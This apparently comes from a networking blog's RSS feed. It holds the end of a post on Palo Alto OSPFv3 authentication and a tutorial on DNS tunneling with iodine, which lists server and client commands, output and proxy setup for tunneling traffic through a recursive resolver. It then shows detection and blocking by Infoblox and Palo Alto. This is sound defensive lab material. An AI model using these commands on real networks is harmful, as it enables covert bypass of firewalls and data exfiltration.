However, trying to set those values on Palo&#8217;s OSPFv3 Auth Profile, I encountered the following commit error: <code>Error: Failed to parse IPSec manual-key tunnel/profile 'ah-sha1' authentication key</code>.</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-wrong-format-commit-error.png"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13989" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-wrong-format-commit-error.png" alt="" width="753" height="628" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-wrong-format-commit-error.png 753w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-wrong-format-commit-error-300x250.png 300w" sizes="auto, (max-width: 753px) 100vw, 753px" /></a></p>
<p>Luckily, I wasn&#8217;t the first person struggling with this, hence DuckDuckGo led me to this post: &#8220;<a href="https://ip-life.net/ospfv3-authentication-palo-alto-to-cisco-router/" target="_blank" rel="noopener">OSPFv3 Authentication Palo Alto to Cisco Router</a>&#8220;.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpackettiger-network-packet-broker-network-monitoring-switch-data-monitoring-switch" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketTiger_Banner_DE_604x.png" /></a></div>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">That is: While the SPI is specified in decimal on Cisco&#8217;s IOS, it must be set in hexadecimal on PAN-OS. Meanwhile, the actual SHA-1 key with a length of 40 chars (hexadecimal) must be grouped into 5 sections, separated with hyphens. (For whatever reason.)</div></div>
<p>The corresponding values to the above-mentioned example are:</p><pre class="urvanov-syntax-highlighter-plain-tag">SPI: 0x12345678
Key: CC41D07E-889B5D61-0FAE78E8-8E88C559-E45D1021</pre><p>
Configured under Network -&gt; Routing -&gt; Routing Profiles -&gt; OSPFv3 -&gt; OSPFv3 Auth Profile (using a PA-440 with PAN-OS 11.2.10, Advanced Routing Engine enabled):</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-13992 size-full" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-AH-with-SHA-1.png" alt="" width="500" height="329" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-AH-with-SHA-1.png 500w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Profile-AH-with-SHA-1-300x197.png 300w" sizes="auto, (max-width: 500px) 100vw, 500px" /></p>
<p>(Of course, other hash algorithms than SHA-1 must be used, but my lab counterparts are not capable of it. ;))</p>
<p>Enabled either at the OSPFv3 &#8211; Area level:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13995" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Area.png" alt="" width="875" height="625" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Area.png 875w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Area-300x214.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Area-768x549.png 768w" sizes="auto, (max-width: 875px) 100vw, 875px" /></p>
<p>OR at the <strong>individual Interface level</strong> (preferred from my point of view):</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-13996" src="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Interface.png" alt="" width="600" height="465" srcset="https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Interface.png 600w, https://weberblog.net/wp-content/uploads/2025/11/Palo-Alto-OSPFv3-Auth-Interface-300x233.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px" /></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketraven-modulare-glasfaser-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png" /></a></div>
<p>Now, the SPI is consistent with the representation in Wireshark. Note the &#8220;Authentication Header&#8221; within the IP header, as the OSPFv3 authentication leverages the IPv6 extension header for IPsec:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-13991" src="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI-1024x626.png" alt="" width="604" height="369" srcset="https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI-1024x626.png 1024w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI-300x183.png 300w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI-768x470.png 768w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI-1536x939.png 1536w, https://weberblog.net/wp-content/uploads/2025/11/Wireshark-OSPFv3-Authentication-Header-SPI.png 1747w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Speaking about the SPI, the hexadecimal format (Palo) makes more sense compared to the decimal format (Cisco). However, I find it rather nonsensical that you have to insert hyphens in the key. 🤦‍♂️</p>
<p>Final note: If you have set your intrazone-default policy (default: allow) to deny, you need explicit rules for OSPF to work. Little stumbling block here: <strong>with OSPFv3 authentication, you have to allow &#8220;ipsec-ah&#8221; in addition to &#8220;ospf&#8221; in order to work</strong>. Both the session table and the traffic log will show both applications (!), dependent on the originating node, which is either the Palo or the other routers on the network: (I&#8217;ve no idea where this &#8220;from port / to port&#8221; 20033 comes from.)</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14033" src="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-1024x154.png" alt="" width="604" height="91" srcset="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-1024x154.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-300x45.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-768x116.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-1536x231.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Session-Browser-2048x308.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a> <a href="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14034" src="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-1024x153.png" alt="" width="604" height="90" srcset="https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-1024x153.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-300x45.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-768x115.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-1536x230.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Palo-Alto-OSPFv3-Auth-Traffic-Log-2048x306.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@georgeprentzas?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">George Prentzas</a> on <a href="https://unsplash.com/photos/round-black-and-white-light-SRFG7iwktDk?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/ospfv3-authentication-on-a-palo-alto-logical-router/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">13984</post-id>	</item>
		<item>
		<title>DNS Tunneling: iodine</title>
		<link>https://weberblog.net/dns-tunneling-iodine/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dns-tunneling-iodine</link>
					<comments>https://weberblog.net/dns-tunneling-iodine/#comments</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Mon, 12 Jan 2026 18:45:21 +0000</pubDate>
				<category><![CDATA[DNS/DNSSEC]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tutorial/Howto]]></category>
		<category><![CDATA[Attack]]></category>
		<category><![CDATA[DNS]]></category>
		<category><![CDATA[DNS Tunneling]]></category>
		<category><![CDATA[FortiGate]]></category>
		<category><![CDATA[Infoblox]]></category>
		<category><![CDATA[iodine]]></category>
		<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[Ultimate PCAP]]></category>
		<category><![CDATA[Wireshark]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=13976</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />This post guides through a basic DNS tunneling setup with the usage of the appropriate tool &#8220;iodine&#8220;. It shows how DNS tunneling works and lists the commands needed to run this type of attack. That is, you can tunnel IPv4 packets through this DNS channel via the (internal) recursive DNS resolver! Nice approach. ;) In &#8230; <a href="https://weberblog.net/dns-tunneling-iodine/" class="more-link">Continue reading <span class="screen-reader-text">DNS Tunneling: iodine</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>This post guides through a basic <strong>DNS tunneling setup</strong> with the usage of the appropriate tool &#8220;<strong>iodine</strong>&#8220;. It shows how DNS tunneling works and lists the commands needed to run this type of attack. That is, <strong>you can tunnel IPv4 packets through this DNS channel via the (internal) recursive DNS resolver</strong>! Nice approach. ;)</p>
<p>In the end, I&#8217;m pointing out how to block these tunnelling attempts with the DNS appliances from Infoblox, and the firewalls from Palo Alto Networks and Fortinet.</p>
<p><span id="more-13976"></span></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">If you’re looking for a broad overview of DNS security, feel free to check out <a href="https://weberblog.net/dns-security-sharkfest25-eu/">my talk from the Wireshark conference “SharkFest” here</a>.</div></div>
<p>At first, let&#8217;s have a look at how DNS tunneling works in general:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14212" src="https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-1024x517.png" alt="" width="604" height="305" srcset="https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-1024x517.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-300x152.png 300w, https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-768x388.png 768w, https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-1536x776.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/DNS-Tunneling-Sketch-2048x1034.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<div class="su-note"  style="border-color:#69adc8;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;"><div class="su-note-inner su-u-clearfix su-u-trim" style="background-color:#83c7e2;border-color:#ffffff;color:#333333;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;">The most important thing to understand about DNS tunneling is this: No direct connection is established from the client to the server, nor is UDP port 53 simply repurposed by sending the original packets through it. Instead, <strong>the data to be tunneled is cut into small pieces and sent as legitimate DNS queries or responses &#8211; travelling through the recursive resolver</strong> all the way to the attacker’s (authoritative) DNS server.</div></div>
<p>For more information about iodine, the DNS tunneling tool of choice, have a look at their <a href="https://code.kryo.se/iodine/" target="_blank" rel="noopener">project homepage</a>, or <a href="https://davidhamann.de/2019/05/12/tunnel-traffic-over-dns-ssh/" target="_blank" rel="noopener">this more detailed blog post</a> from David Hamann.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/packetraven_portable_fiber-kupfer-sfp_ethernet-network-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_1208x.v2023.png 2x, https://weberblog.net/wp-content/uploads/2023/02/NEOXPacketRaven-Portable-Family_Banner_DE_604x.v2023.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Portable_Banner_DE_604x.png" /></a></div>
<h2>iodine Setup</h2>
<p>For my tests, I used a delegated subdomain &#8220;io.weberlab.de&#8221;. That is: underneath my domain weberlab.de, I delegated (NS records) the subdomain &#8220;io&#8221; to the IP addresses of the server, which runs iodine:</p><pre class="urvanov-syntax-highlighter-plain-tag">io      IN      NS      lx3
lx3     IN      A       85.215.94.29
        IN      AAAA    2a01:238:4363:ee00:9169:a8a4:e572:d5f8</pre><p>
<h3>Server</h3>
<ul>
<li>-f to run in foreground</li>
<li>-c for checking disabled, to answer all incoming requests</li>
<li>-P passphrase</li>
<li>IP address of the internal tunnel interface &lt;- that&#8217;s the fun part</li>
<li>name of the delegated zone</li>
</ul>
</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@h2877111:~$ sudo iodined -f -c -P passphrase 192.168.99.1 io.weberlab.de
Opened dns0
Setting IP of dns0 to 192.168.99.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain io.weberlab.de</pre><p>
This creates a tunnel interface called &#8220;dns0&#8221;:</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@h2877111:~$ ip a s
[...]
4: dns0: &lt;POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP&gt; mtu 1130 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none
    inet 192.168.99.1/27 scope global dns0
       valid_lft forever preferred_lft forever</pre><p>
The &#8220;vendor&#8221; of iodine offers a checking tool at <a href="https://code.kryo.se/iodine/check-it/" target="_blank" rel="noopener">https://code.kryo.se/iodine/check-it/</a>:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14186" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-check-setup-1024x741.png" alt="" width="604" height="437" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-check-setup-1024x741.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-check-setup-300x217.png 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-check-setup-768x556.png 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-check-setup.png 1475w" sizes="auto, (max-width: 604px) 100vw, 604px" /></p>
<h3>Client</h3>
<ul>
<li>-f for foreground</li>
<li>-P passphrase</li>
<li>-r to NOT use the raw mode which would end in a direct connection to the server rather than the usage of the recursive DNS resolver</li>
<li>IP address of the recursive DNS server</li>
<li>name of the delegated zone used for this tunneling (I simply used an open DNS resolver <a href="https://publicdnsserver.com/germany/" target="_blank" rel="noopener">found here</a>)</li>
</ul>
<pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@vm32-test2:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io2.weberlab.de
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for io2.weberlab.de to 85.214.123.36
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of dns0 to 192.168.99.2
Setting MTU of dns0 to 1130
Server tunnel IP is 192.168.99.1
Skipping raw mode
Using EDNS0 extension
Switching upstream to codec Base64
Server switched upstream to codec Base64
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Autoprobing max downstream fragment size... (skip with -m fragsize)
768 ok.. 1152 ok.. ...1344 not ok.. ...1248 not ok.. ...1200 not ok.. 1176 ok.. 1188 ok.. will use 1188-2=1186
Setting downstream fragment size to max 1186...
Connection setup complete, transmitting data.</pre>
Pinging through this DNS tunnel:<br />
<pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@vm32-test2:~$ ping 192.168.99.1
PING 192.168.99.1 (192.168.99.1) 56(84) bytes of data.
64 bytes from 192.168.99.1: icmp_seq=1 ttl=64 time=25.9 ms
64 bytes from 192.168.99.1: icmp_seq=2 ttl=64 time=20.0 ms
64 bytes from 192.168.99.1: icmp_seq=3 ttl=64 time=22.8 ms
64 bytes from 192.168.99.1: icmp_seq=4 ttl=64 time=19.5 ms
^C
--- 192.168.99.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 19.513/22.054/25.927/2.552 ms
weberjoh@vm32-test2:~$ lynx ip.webernetz.net</pre>
<div style="margin-bottom:24px"><a href="https://weberblog.net/portable-network-capturing-neox-packet-falcon" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png" /></a></div>
<p>To not only ping through this DNS tunnel, but to browse, I installed the proxy &#8220;<a href="https://www.squid-cache.org/" target="_blank" rel="noopener">squid</a>&#8221; on the iodine server to surf through it. Now, I was able to use this proxy (behind the internal dns0 tunnel interface on the iodine server) to browse the Internet:</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@vm32-test2:~$ export http_proxy=http://192.168.99.1:3128
weberjoh@vm32-test2:~$ lynx ip.webernetz.net</pre><p>
This screenshot shows the CLI-based web browser &#8220;lynx&#8221;, which I used to open <a href="https://ip.webernetz.net" target="_blank" rel="noopener">https://ip.webernetz.net</a> to show my public IP. The insight: I&#8217;m online with the IPv6 address of the iodines server rather than the (private) IPv4 address of the client itself:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14187" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid-1024x659.png" alt="" width="604" height="389" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid-1024x659.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid-300x193.png 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid-768x494.png 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid-1536x989.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-lynx-through-squid.png 1919w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Q.E.D. 😂</p>
<p>This Wireshark screenshot shows a capture taken on the server component of iodine during the establishment phase. (It is also part of the <a href="https://weberblog.net/the-ultimate-pcap/">Ultimate PCAP</a>. Plz download and analyse it by yourself. Display filter: 
			<span id="urvanov-syntax-highlighter-69e487bfaa822979233219" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">dns.qry.name contains "io2.weberlab.de"</span></span>.) You can see normal DNS queries and responses between the DNS resolver and the iodine server itself, while the queried names are mostly random:</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-scaled.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14188" src="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-1024x611.png" alt="" width="604" height="360" srcset="https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-1024x611.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-300x179.png 300w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-768x458.png 768w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-1536x916.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/DNS-Tunneling-iodine-Wireshark-2048x1221.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<h2>Blocking DNS Tunneling Attempts</h2>
<p>Always look on the blocking side of life. 🎶</p>
<h3>Infoblox NIOS Recursive DNS</h3>
<p>Using Infoblox NIOS as your recursive DNS server, tunneling events such as these are blocked after just a few packets. In my tests, the tunnel was detected and blocked just after four pings (right-hand side of the screenshot):</p>
<p><a href="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-scaled.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14213" src="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-1024x608.png" alt="" width="604" height="359" srcset="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-1024x608.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-300x178.png 300w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-768x456.png 768w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-1536x912.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-01-PuTTY-Sessions-iodine-ping-NXDOMAIN-2048x1217.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>&#8220;DNS Tunneling detected: &#8230;&#8221; events are generated, and the relevant (sub-)domain is <strong>placed in the configured blocklist RPZ</strong>:</p>

<a href='https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-scaled.png'><img loading="lazy" decoding="async" width="300" height="215" src="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-300x215.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-300x215.png 300w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-1024x735.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-768x551.png 768w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-1536x1102.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-02-Infoblox-Log-2048x1470.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>
<a href='https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-scaled.png'><img loading="lazy" decoding="async" width="300" height="99" src="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-300x99.png" class="attachment-medium size-medium" alt="" srcset="https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-300x99.png 300w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-1024x338.png 1024w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-768x254.png 768w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-1536x508.png 1536w, https://weberblog.net/wp-content/uploads/2026/01/Infoblox-DNS-Tunneling-Block-03-ta-blocklist.rpz_-2048x677.png 2048w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>

<h3>Palo Alto Networks NGFW</h3>
<p>Using a next-gen firewall from Palo Alto Networks between the client and the Internet, the DNS tunneling attempts with &#8220;iodine&#8221; are blocked in various ways. In fact, it wasn’t easy at all to set up a DNS tunnel through the Palo Alto firewall. 😂 I had to disable several rules and profiles just to get it working for testing purposes. It was more due to the tool’s signature than to a generic detection of DNS tunneling.</p>
<ol>
<li>I had an allow rule with the application &#8220;dns&#8221;, but iodine was detected as &#8220;tcp-over-dns&#8221;, hence: blocked.</li>
<li>Then I configured a port-based (service) allow rule for TCP/UDP port 53, but still with a security group with the <strong>anti-spyware strict</strong> profile: now connections were detected as &#8220;tcp-over-dns&#8221; (allowed), but recognised as a threat &#8220;<strong>Iodine DNS Tunnel Tool Command and Control Traffic Detection</strong>&#8221; -&gt; blocked again. :) Nice.</li>
<li>Finally, the port-based (service) allow rule without any security profile made it.</li>
</ol>
<p>In both blocking scenarios, the DNS tunnel was already blocked during the setup period!</p><pre class="urvanov-syntax-highlighter-plain-tag">weberjoh@nb15-lx:~$ sudo iodine -f -P passphrase -r 85.214.123.36 io.weberlab.de
Opened dns0
Opened IPv4 UDP socket
Sending DNS queries for io.weberlab.de to 85.214.123.36
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Retrying version check...
Retrying version check...
Retrying version check...
Retrying version check...
Retrying version check...
iodine: couldn't connect to server (maybe other -T options will work)</pre><p>
